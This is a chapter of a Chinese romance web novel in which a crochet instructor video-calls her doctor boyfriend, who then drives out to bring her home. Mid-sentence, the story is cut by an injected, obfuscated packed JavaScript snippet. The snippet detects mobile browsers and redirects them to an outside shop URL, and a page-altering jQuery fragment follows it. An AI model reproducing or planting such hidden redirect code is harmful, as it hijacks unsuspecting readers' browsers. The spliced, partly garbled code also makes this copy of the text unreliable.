做手工一开始只是她的爱好,后来变成她谋生的技能。而现在,如果她还可以用它去帮助更多的女性,让她们能拥有一份自己挣来的收入,再不用看别人的脸色生活的话,她觉得再没有什么事能比这更有意义了。 “能尽一点微薄之力,我也很荣幸。”姜颂认真道,“您放心,我会好好完成课程,多教大家一些实用技巧的。” 张主任满意地拍拍她的肩膀,满目欣赏之色。 第二天才开始授课,姜颂回到张主任给她安排的住处后先整理了一下行李,然后把床品全部换成自己带的。 收拾完,她随意躺在床上,玩了会儿手机。这一上午舟车劳顿,她一时有些困倦,小憩了片刻。 临走前,她答应孟决明有空给他打视频的。可惜他太忙,周末也要值班,只有晚上才能腾出空来。 到食堂慢吞吞地吃完晚饭,她数着时间磨蹭到八点,某个人终于有空问她可不可以视频。 下一秒,她手比脑子快地先发去了视频请求。 原本想装作没看见吊他一会儿的! 视频接通,屏幕上出现熟悉面庞的那一刻,姜颂忽然推翻了刚才心里那点小小的懊悔。 她也很想见他的,有什么必要装那么一下呢? 俩人隔着屏幕直勾勾地对视,谁也没先说话,却各自悄悄红了脸。 姜颂刚才在脑子里想的好好的要跟他说什么,但一看见他居然转瞬就全忘了。以前教他做手工的时候没少视频,当着他真人的面她也没紧张过,她也不知道自己现在脸红个什么劲儿。 “住处环境怎么样?”他先开的口,声线低沉,语气却温和。 “还行。”她翻转摄像头,“给你看一下。” 屏幕中的画面随着她的动作而缓慢推动,房间的各个角度都被她拍了一遍。 普通便捷酒店的风格,房间不大,里头有一些基础陈设,八九十年代的装修风格,但胜在干净整洁。 “这是县政府的招待所,应该算是这里挺好的住处了,我觉得还可以。” 她说完,将摄像头转回来,坐到椅子上,将手机放在桌面上,用水杯充当支架。 想到他加班,她随口问道:“这么晚才下班,很累了吧?” 他温声说:“有一点,但是看到你就觉得还好。” “……” 姜颂发现自己以前真是小瞧他了,这人怎么自从变成她男朋友之后,在说情话这方面忽然就无师自通、一日千里了呢! 她脸颊发着烫,眼神飘忽,战术性轻咳一声。 他又问:“那里的饭怎么样,合口味吗?” “我在政府食堂吃,味道还凑合吧,但跟你做的比差距还是蛮大的。” “那你可以想想有什么想吃的发给我,回来就能吃到了。” “那我可要好好想想。”她笑着说,“可以点你没给我做过的吗?” “当然。” 她想了一会儿,说:“算了,一时半会儿还真想不起来,我想起来再发给你吧。” 再看向屏幕,见他一眨不眨地盯着她,眼睛明亮如点星,眼神温柔如春波,她想说的话一下子又卡了壳。 说来也奇怪,她和孟医生好像两个极端。面对面的时候她想亲就亲,调戏他的小把戏信手拈来,他会害羞。但到了线上,情况简直是两极反转,他肆无忌惮许多,她却开始不好意思。 她说:“你老这样看着我,我有点想不起来想说什么了。” “不用刻意想话题,即使你什么都不说也没关系,我只是有点想你,看看你就好。” 啊! 这个人! “孟医生,请停止你的情话攻击!” 她想捂脸,但担心捂住脸他又看不到她了,只得忍着。心脏在她胸腔里上蹿下跳,她都不敢看屏幕里自己的脸有多红,于是连羞带恼地看向一边,干脆不看镜头了。 他无声地在屏幕那头笑开,问她:“工作日中午我有一段休息时间,如果有空的话,我还可以拨视频给你吗?” 她羞恼地瞪他,故意道:“不可以!” 他看起来有点失落,但还是对她说:“那好吧。” 哎? 怎么这就放弃了? “你求求我,没准我就答应了。”姜颂单手托下巴,扬着眉毛说。 他学她的姿势,缓缓凑近屏幕。 唇边含着笑,语气却虔诚:“求求姜姜,以后中午也跟我视频好吗?” 她把下半张脸埋进原本托在下巴上的手掌里,不让他看见她上扬的唇角:“好吧,批准了。” 可惜笑意从眼睛里溢出,还是出卖了她。 聊天聊到末尾,他忽然拿了一堆衣服过来。 姜颂:“你拿这么多衣服来干嘛?” 他凑近调整手机角度,人站远了些,一手拎起一套挂好的衣服,标签都还在上面挂着。 “约会的话,你想看我穿哪套?” 他拎着衣架往自己身上比了比。 姜颂以前没怎么注意过他的穿搭,然而在此刻不一样了,她脑海里每一次他来见她的样子一刹那变得清晰。 似乎每一次,他穿得都格外讲究。 有个猜想渐渐从她心底浮现:“你以前每次来见我的时候,都要这样选衣服吗?” 他试衣服的动作一顿。 没看着她:“……嗯。” 姜颂忽然间就明白了一件事。 人果然是高级动物,雄性生物在求偶时的行为其实没有本质区别,比如孟医生选衣服和孔雀开屏。 她脑补了一下他站在衣柜前发愁今天穿什么的模样,忍俊不禁。 心思已然被看穿,他也没什么好扭捏的,见喜欢的人打扮一下又不丢人。 他坦然接受爱人对他调侃似的笑,等她笑够了,他才重复提出请求:“帮我选一下。” 姜颂只是觉得他有点可爱,见他这样重视,又忍不住有点小感动。 原来被人全心全意地爱着是这样的感觉,会让人不自觉地内心柔软。 她刚才只顾着猜他,没仔细看他试衣服,她说:“你再比一下我看看。” 他一共搭了四套,比来比去,姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273305|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颂给出了她的喜好排序。 “我们以后会有很多次约会,你可以挨个穿。” 以后,这两个字可真美妙,有她和他的以后一切都那么让人期待。 这通视频电话直到深夜才结束,姜颂洗漱完回来发现他后来又发了一条消息: 【约会倒计时15天。】 * 手工有非常多的种类,不过有些比较吃天赋不好上手,有些材料昂贵不适合普通人。所以在准备授课内容时考虑到这些因素,姜颂选了钩织。 简单易上手,材料也随处可见且价格低廉。 第一天教的是一些基础针法,授课地点在政府的会议室里。能容纳两百人的会议室,只有后排零星几个空位。 学生大多是中年妇女,这些人的年龄距离学生时代已经相当遥远,或者这其中的许多人甚至有可能从没踏进过校园的大门。 但在她的培训课上,她能感觉到台下这些学生巨大的积极性,远比她在小镇中学的课堂上面对的孩子们更为强烈。 她非常庆幸自己接下了这份工作。 她在课堂上尽心尽力,将自己摸索出来的一些小技巧毫无保留地分享出来,细致、认真。 但她一个人毕竟精力有限,无法照顾到所有人。一上午的课程结束,课后来问问题的学生非常多,她耐心地一一解答。 刚开始倒也还能撑住,只是这样的情况持续了几天,她没能得到一个合适的喘息之机,那糟糕的体力确实是让她有点吃不消了。 按照她的生物钟,要是课程安排在半夜或许效果会更上一层楼。 这天晚上,跟孟决明视频的时候她一不小心拿着手机睡着了。 可能她潜意识里还记挂着视频没结束,睡了一个小时后猛然从睡梦中惊醒。 拿起手机一看,视频居然还挂着! 画面中的孟决明坐在书房里,在电脑前敲敲打打,似乎是听见手机传来动静,他抬眼望过来:“怎么醒了?” 她揉揉眼睛,话音带着一点懒洋洋的尾调:“不知道,突然就醒了。” “课程安排很紧张吗?” “也不是,”她说,“就是觉得培训时间有点短,我想讲得细一些又想讲得多一点,学生又比较多,每个人的问题不一样,所以有点费神。” 她话音未落,捂嘴打了个呵欠,靠到床头,下半身钻进被子,眼带困倦地看着他。 他沉默了一会儿,说:“以后晚上不视频了。” 她听见这句困意散了些许:“嗯?为什么?” “你好好休息,我们以后有的是时间见面,不差这几天。” 她摇头:“不要。” “听话,别把自己累着了。”他像是已经下定决心接下来的时间真的不视频了。 她脑袋昏昏沉沉的,话却清晰: “可是我也会想你。” 还想坚持的他瞬间被这句话堵得哑口无言。 只听她说:“没关系的,还有一周就结束了,我能行的,不用担心。” 孟决明没说话,看向她的目光满是心疼。 良久,他说:“睡吧,视频挂着,我陪着你。” 她笑着说好。 听筒里传来窸窸窣窣的布料摩擦声,画面变成了她房间的天花板,然后光线暗下去。杂音停止,她说话的尾音带着一点黏腻的勾连:“你也早点休息吧,晚安。” “晚安。” 不久后,她均匀绵长的呼吸声自听筒传来。 他盯着屏幕上那黑漆漆的天花板,若有所思。 周一上班,他翻了一下这周的排班表,找到周末没排班的同事:“周末有事吗,能不能跟我换个班,可以的话我用周末换你三次工作日的班。” 45. 第 45 章 还是在自己报的一片菜名之中看到孟医生的约会倒计时零天时,姜颂才反应过来,这培训要结束了。 不过她再反应一会儿,发现了一个问题:他少算了一天。她明天回家,至少后天才能约会,倒计时应该还剩一天才对。 她随手往上扒拉一下记录,看到他昨天发的明明还是剩两天。 怎么今天早上发的就变成零天了? 她长摁那条倒计时零天的消息,引用之后在底下打了个问号。 很久之后,他回了她一个句号。 姜颂有点懵,这是什么意思? 再问他就不回了。 累归累,她在课上该讲的技巧却是一点也没落下。今天是最后一天的课程,她收了两天前布置的小作业,挨个检查了一下每个人的问题,分类总结后在课上讲对应的解决方案,决定下午的课用来亲自演示。 也许是因为课程要结束了,今天的学生格外热情,除了问问题之外还拉着她唠了好一会儿家长里短。 等她结束,早就过了吃饭时间,食堂没饭,她只好到周围的一家小面馆里准备解决掉午餐。 她知道某人今天有排班,不过这会儿应该已经下班了。她拨了视频电话过去,却没有人接。 面在这时候端了上来。姜颂眼睛盯着屏幕,心不在焉地吸溜一口面,尝到味道,她挑挑眉。 有点好吃。 姜颂拍了一张面的照片发了过去,配文:【发现一家宝藏小面馆,好好吃,好想给你尝尝。】 他从不会超过五分钟不回她消息,没回就一定是有事没看手机。她等了五分钟,微信还是没收到他的消息,估计是又有什么突发状况加班去了。 连带着这一条,一直到下午去上课之前她都始终没得到回复。 她心里犯着嘀咕,收好手机,专心讲课去了。 下午的课分成两节,中间隔了二十分钟休息时间。 他的电话在这时打来。 被好学的学生们团团围住的姜颂看见那个在她心头萦绕一天的名字,当即对众人说这个电话有点重要,她需要先去接个电话。众人表示理解,纷纷散去。 她拿起手机快步往门口走,准备找个安静点的地方接。急匆匆出门一转身,看到走廊尽头那道熟悉的高挑身影时,她蓦地停住了脚步。 下午的天气不知什么时候变成了多云,外头起了风,楼道两侧的窗户被吹开,夹杂着湿润水汽的空气爆发式涌入。 连日的思念在他抬眼望来的那一刻找到了出口。 孟决明是在楼道里听到和听筒里相同的铃声时发现的她。 几十米的距离,她朝他狂奔而来,一瞬间扑进他怀里。 她环抱着他的腰身,在他怀里仰起头,惊喜到每一个音都拖着调子:“你怎么来了?” 他笑着整理好她刚才跑乱的长发,说:“来接你回家呀。” 她愣了一下,问:“你自己开车过来的吗?” 他嗯一声:“你想吃的那些菜我也做了几个带过来了,剩下的回去做。” 连做饭带开车没六七个小时根本完不成,他为了来见她肯定也没少花时间打扮,怪不得从早上开始他就一直很少回她消息。 “这也太远了,回去还得开四五个小时。”她说,“你怎么没提前告诉我一声啊?” 他摸摸她的脸颊:“我早上告诉你了。” 她迷茫地眨眼:“告诉我了?我怎么不……” 说到一半,她忽地想起了那个倒计时零天以及后来的句号。 反应过来他的意思,她哭笑不得。 “太辛苦了,下次别这样了,我自己回家又丢不了。” 他却问:“开心吗?” 他低着头,黝黑的眼眸里倒映着她的影子,手掌贴在她脸侧,拇指轻轻摩挲着她的脸颊。 她侧过头贴在他胸膛上,小声说:“特别开心。” “那就不辛苦。” 她在他怀抱里蹭了蹭,这抹熟悉的气息正是她朝思暮想的。 拥抱了一会儿,她依依不舍地分开,把口袋里的房卡给他:“开那么久的车肯定很累,你先回房间休息吧,我把位置发你。我还有一节课,结束我就回去找你,然后我们一起吃饭。” 他往窗外看了一眼,又看她:“傍晚可能会下雨,带伞了吗?” 她摇头。 “我把饭放回去,然后过来等你一起回去。” “也行,教室后排有空座,你来了可以进来坐。”姜颂看看时间,“我得回去上课了。” “去吧。” 她往前走出了几步,想起什么,回过头看见站在原地微笑目送她离开的男人。 他今天穿的是她那晚挑选过的第二喜欢的一套,黑色冲锋衣搭配黑灰色牛仔裤,简洁的纯黑色系穿搭掩盖了几分他的温润气质,令他多了几分锐利。 她眉心稍动:“今天特别帅。” 没等他反应,丢下这句的她跑得飞快,转眼人就没影了。 他看着她背影消失的位置哑然失笑。 他先回车上拿了饭盒,拎到姜颂房间。 她房间里没伞,来之前他没注意这边的天气,幸好车上有一把备用的。 他带着伞回到姜颂上课的会议室,在最后一排找了个空位坐下。 大会议室里,她坐在台上低头摆弄手里的针线,额前的刘海自然垂落,被她抬手掖回耳后。她讲解的声音通过扩音器清晰传播到每个角落,中央投影幕布上是她正亲自演示的画面。 红色的线缠绕在她素白纤长的手指上,她右手捏着钩针针柄,勾着线穿梭几下,配着她的重点讲解:“今天有几个同学交上来的作业有个明显的问题,就是每一圈收尾的引拔针不是整齐的一条,而是斜着的,还有的同学引拔针总是收不紧,接下来我演示一下怎么避免这两种情况。” 他猜想,她应该是为了演示效果更好专门选择了红色的线。她总是这么细心。 坐在最后排,他与她中间隔着许多排坐满人的座位。目光越过层层人群,他遥望台上认真工作的姑娘,仿佛穿越过这几年的光阴看到了那时在小镇讲台上辗转的她。 温柔、耐心、专注……散发着独特的魅力。 即使她说当时并不喜欢老师的工作,但他了解她,她一定还是会用尽全力地去备课和讲解,因为她清楚地知道自己身上肩负的责任。 明明自己也身处水深火热,她却总努力地想要让自己的光照到别人,哪怕只有一个。 他在台下满眼都是她,一直为她骄傲。 窗外渐渐下起雨。 五点半下课,姜颂跟大家道了别,工作人员在一旁拍公众号的宣发素材,提出让大家合影留念。 她被围在中间,跟前来欢送的负责人交谈并合影。 他安静地在台下等待,看她跟人说着话,下一秒往他的方向看来,随后那负责人也跟着看了他一眼,似是说了什么,她笑得灿烂。 负责人与姜颂握手后转身离开,偌大的会议室里便只剩下他和她。 她对他招招手,他起身向她走去。离她还有几步的时候,她朝他伸出了一只手,语笑嫣然:“结束了,我们走吧!” 他笑着伸手,手掌完全包裹住她的,两人牵手向外走去。 外头雨下得不大,雨脚却密。政府大门门口灯光很亮,映着夜幕中断断续续的雨丝。 挟着水汽的夜风有些凉,姜颂今天只穿了一件单薄的针织开衫,被风一吹止不住地发抖。 她还没开始后悔今天没多穿点,就感到手被松开,接着整个人被一件宽大的冲锋衣裹了个严实。 “穿好,别感冒了。”他身上剩一件纯白色棉质半袖,一边叮嘱她一边打开伞撑起在头顶。 姜颂将胳膊伸进袖筒,发觉太长了。 他放下伞,帮她挽起袖子,然后重新牵住她露出的左手,拿起伞:“走吧。” 她却拉住他,抬头看看头顶的伞面。 这把伞不大,两个人一起的话,正常撑必然两个人都会淋湿,所以他几乎把所有的伞面都朝她倾斜过来。 姜颂推着他撑伞的那只手将伞面恢复成正常角度:“我也不想你生病。”< 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淅沥雨声中,小城的街上偶尔有行人路过,那方黑伞之下是她与他的秘密基地,她尽情地撩拨着他。 他不说话,她就继续趴在他耳边,故意让呼吸洒在他耳朵上,用只有他们两个能听到的声音问他:“你想我吗?” “嗯。” “嗯是什么意思?” 她坏心眼地逼问,非要他说出口才肯罢休,这都是在报复他那几天在视频通话中对她连串的“情话攻击”。 他还是不作声,她在他背后偷笑,因为她发现他的耳朵红透了。 线上她都害羞完了,线下该轮到他了。 他当然知道她想听什么,但他没说,因为已经到了招待所门前。 她点到为止,没再为难他了:“这淋不到雨了,放我下来吧。” 他把人放下,接过她手里的伞,抖落水珠后收好,对她道:“房卡在衣服口袋里。” 她往兜里一摸,果然摸到了,拉着他往房间走。 “滴”的一声,房门解锁,她推门进去,他跟在她身后,随手带上门,将伞放在墙角。 她习惯性地去卡槽房卡通电,伸手按下灯光开关,“吧嗒”一声,紧接着她搁在开关上的手还没来得及离开,被人覆着再次按下,又是清脆的“吧嗒”一声。 房间亮起一瞬间复又陷入黑暗,覆在她手背上的大手顷刻间滑到她手腕上攥住,将她的身体翻转过来。 她下意识地贴紧背后的墙壁,迫近的高大身影将她困在他与墙壁之间。 下一秒,她脑后多了一只手掌垫着,迫使她仰头。清冽的气息混合着温热的呼吸瞬间逼近,他的吻落下。 脸颊连着耳根腾地灼烧起来,她忍不住动了一下手腕,他攥得更紧,不轻不重的力道不会让她疼,但刚好能够防止她逃跑。 她本来也没想跑。 只是这个吻承载了他太多的情感,浓烈得如浪潮般朝她涌来,像要将她吞没。 她从未见过这一面的他。 有些急切,有些失控。 她呆在原地愣神,以至于脑海中飞速闪过些零碎的片段,她也没来得及抓住。 她满脑子都是些天马行空的想法,比如:孟医生是不是背着她报了什么恋爱培训班啊…… 这个吻来得气势汹汹,却带着温柔眷恋的意味,似是察觉到她的走神,他慢慢停下。 姜颂终于缓过神来。 她把手腕从他掌中挣脱,双手捧住他的脸径直吻上去,回应着他,随后缓慢地闭上眼,仔细感受心跳的混乱。 静悄悄的房间内,只剩下呼吸声以及含吮唇瓣的细微水声。 急迫的吻势渐渐趋于平缓,似在无声地诉说着这段时间的思念。 分开之时,他最后在她唇上蜻蜓点水似的啄吻一下。 在两人均未平稳的紊乱呼吸声中,他用额头与她相抵,终于回答了她的问题: “特别想你。”